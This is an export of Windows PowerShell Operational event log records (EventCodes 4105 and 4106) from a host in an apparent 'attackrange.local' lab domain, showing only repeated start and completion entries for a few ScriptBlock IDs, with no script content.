Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648661
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648659
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648657
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648655
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648673
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648671
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648670
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648669
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648667
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648665
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648683
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648681
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648679
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648677
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648675
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648693
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648691
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648689
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648687
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648685
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648703
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648701
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648699
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648697
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648695
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648713
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648711
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648709
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:22:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
